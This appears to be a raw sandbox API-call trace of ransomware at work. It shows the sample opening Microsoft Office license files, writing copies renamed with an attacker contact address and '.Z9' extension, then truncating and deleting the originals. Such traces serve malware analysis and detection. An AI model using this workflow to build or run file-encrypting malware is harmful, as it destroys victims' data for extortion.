	[0182.639] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.639] lstrlenW (lpString=".bz2") returned 4
	[0182.639] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.639] lstrlenW (lpString=".7z") returned 3
	[0182.639] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0182.639] lstrlenW (lpString=".dbf") returned 4
	[0182.640] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0182.640] lstrlenW (lpString=".1cd") returned 4
	[0182.640] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0182.640] lstrlenW (lpString=".jpg") returned 4
	[0182.640] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0182.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0182.640] lstrlenW (lpString=".doc") returned 4
	[0182.640] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.640] lstrlenW (lpString=".docx") returned 5
	[0182.640] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.640] lstrlenW (lpString=".pdf") returned 4
	[0182.640] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.640] lstrlenW (lpString=".xls") returned 4
	[0182.640] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.640] lstrlenW (lpString=".xlsx") returned 5
	[0182.640] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.640] lstrlenW (lpString=".ppt") returned 4
	[0182.640] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0182.640] lstrlenW (lpString=".zip") returned 4
	[0182.640] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.640] lstrlenW (lpString=".rar") returned 4
	[0182.640] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.640] lstrlenW (lpString=".bz2") returned 4
	[0182.640] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.640] lstrlenW (lpString=".7z") returned 3
	[0182.640] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0182.640] lstrlenW (lpString=".dbf") returned 4
	[0182.640] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0182.640] lstrlenW (lpString=".1cd") returned 4
	[0182.641] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92
	[0182.641] lstrlenW (lpString=".jpg") returned 4
	[0182.641] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.641] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.641] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 45
	[0182.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0182.642] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11669) returned 1
	[0182.642] CloseHandle (hObject=0x344) returned 1
	[0182.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0182.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0182.642] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.642] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.643] GetLastError () returned 0x0
	[0182.643] ReadFile (in: hFile=0x344, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2d95, lpOverlapped=0x0) returned 1
	[0182.653] WriteFile (in: hFile=0x538, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0182.654] ReadFile (in: hFile=0x344, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.654] WriteFile (in: hFile=0x538, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0182.655] SetEndOfFile (hFile=0x538) returned 1
	[0182.655] CloseHandle (hObject=0x538) returned 1
	[0182.655] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.655] SetEndOfFile (hFile=0x344) returned 1
	[0182.657] CloseHandle (hObject=0x344) returned 1
	[0182.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0182.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0182.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0182.659] lstrlenW (lpString=".doc") returned 4
	[0182.659] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.659] lstrlenW (lpString=".docx") returned 5
	[0182.659] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.659] lstrlenW (lpString=".pdf") returned 4
	[0182.659] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.659] lstrlenW (lpString=".xls") returned 4
	[0182.659] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.659] lstrlenW (lpString=".xlsx") returned 5
	[0182.659] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.659] lstrlenW (lpString=".ppt") returned 4
	[0182.659] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0182.659] lstrlenW (lpString=".zip") returned 4
	[0182.659] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.659] lstrlenW (lpString=".rar") returned 4
	[0182.659] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.659] lstrlenW (lpString=".bz2") returned 4
	[0182.659] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.659] lstrlenW (lpString=".7z") returned 3
	[0182.659] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0182.659] lstrlenW (lpString=".dbf") returned 4
	[0182.660] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0182.797] lstrlenW (lpString=".1cd") returned 4
	[0182.797] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0182.797] lstrlenW (lpString=".jpg") returned 4
	[0182.798] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0182.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0182.798] lstrlenW (lpString=".doc") returned 4
	[0182.798] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.798] lstrlenW (lpString=".docx") returned 5
	[0182.798] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.798] lstrlenW (lpString=".pdf") returned 4
	[0182.798] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.798] lstrlenW (lpString=".xls") returned 4
	[0182.798] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.798] lstrlenW (lpString=".xlsx") returned 5
	[0182.798] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.798] lstrlenW (lpString=".ppt") returned 4
	[0182.798] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0182.798] lstrlenW (lpString=".zip") returned 4
	[0182.798] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.798] lstrlenW (lpString=".rar") returned 4
	[0182.798] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.798] lstrlenW (lpString=".bz2") returned 4
	[0182.798] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.798] lstrlenW (lpString=".7z") returned 3
	[0182.798] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0182.798] lstrlenW (lpString=".dbf") returned 4
	[0182.798] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0182.798] lstrlenW (lpString=".1cd") returned 4
	[0182.798] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0182.798] lstrlenW (lpString=".jpg") returned 4
	[0182.798] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.799] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.799] lstrlenW (lpString="HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 35
	[0182.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0182.800] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11612) returned 1
	[0182.800] CloseHandle (hObject=0x540) returned 1
	[0182.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0182.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0182.801] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.801] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0182.802] GetLastError () returned 0x0
	[0182.802] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2d5c, lpOverlapped=0x0) returned 1
	[0182.833] WriteFile (in: hFile=0x52c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0182.834] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.834] WriteFile (in: hFile=0x52c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0182.834] SetEndOfFile (hFile=0x52c) returned 1
	[0182.834] CloseHandle (hObject=0x52c) returned 1
	[0182.834] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.834] SetEndOfFile (hFile=0x540) returned 1
	[0182.837] CloseHandle (hObject=0x540) returned 1
	[0182.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0182.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0182.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0182.839] lstrlenW (lpString=".doc") returned 4
	[0182.839] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.839] lstrlenW (lpString=".docx") returned 5
	[0182.839] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.839] lstrlenW (lpString=".pdf") returned 4
	[0182.839] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.839] lstrlenW (lpString=".xls") returned 4
	[0182.839] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.839] lstrlenW (lpString=".xlsx") returned 5
	[0182.839] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.839] lstrlenW (lpString=".ppt") returned 4
	[0182.839] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0182.839] lstrlenW (lpString=".zip") returned 4
	[0182.839] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.839] lstrlenW (lpString=".rar") returned 4
	[0182.840] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.840] lstrlenW (lpString=".bz2") returned 4
	[0182.840] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.840] lstrlenW (lpString=".7z") returned 3
	[0182.840] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0182.840] lstrlenW (lpString=".dbf") returned 4
	[0182.840] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0182.840] lstrlenW (lpString=".1cd") returned 4
	[0182.840] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0182.840] lstrlenW (lpString=".jpg") returned 4
	[0182.840] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0182.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0182.840] lstrlenW (lpString=".doc") returned 4
	[0182.840] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.840] lstrlenW (lpString=".docx") returned 5
	[0182.840] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.840] lstrlenW (lpString=".pdf") returned 4
	[0182.840] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.840] lstrlenW (lpString=".xls") returned 4
	[0182.840] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.840] lstrlenW (lpString=".xlsx") returned 5
	[0182.840] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.840] lstrlenW (lpString=".ppt") returned 4
	[0182.840] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0182.840] lstrlenW (lpString=".zip") returned 4
	[0182.840] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.840] lstrlenW (lpString=".rar") returned 4
	[0182.840] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.840] lstrlenW (lpString=".bz2") returned 4
	[0182.840] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.841] lstrlenW (lpString=".7z") returned 3
	[0182.841] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0182.841] lstrlenW (lpString=".dbf") returned 4
	[0182.841] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0182.841] lstrlenW (lpString=".1cd") returned 4
	[0182.841] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0182.841] lstrlenW (lpString=".jpg") returned 4
	[0182.841] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.841] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.841] lstrlenW (lpString="HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 35
	[0182.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0182.842] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=19957) returned 1
	[0182.842] CloseHandle (hObject=0x540) returned 1
	[0182.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0182.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0182.843] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.843] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0182.844] GetLastError () returned 0x0
	[0182.844] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x4df5, lpOverlapped=0x0) returned 1
	[0182.858] WriteFile (in: hFile=0x52c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0182.859] ReadFile (in: hFile=0x540, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.859] WriteFile (in: hFile=0x52c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0182.859] SetEndOfFile (hFile=0x52c) returned 1
	[0182.859] CloseHandle (hObject=0x52c) returned 1
	[0182.860] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.860] SetEndOfFile (hFile=0x540) returned 1
	[0182.862] CloseHandle (hObject=0x540) returned 1
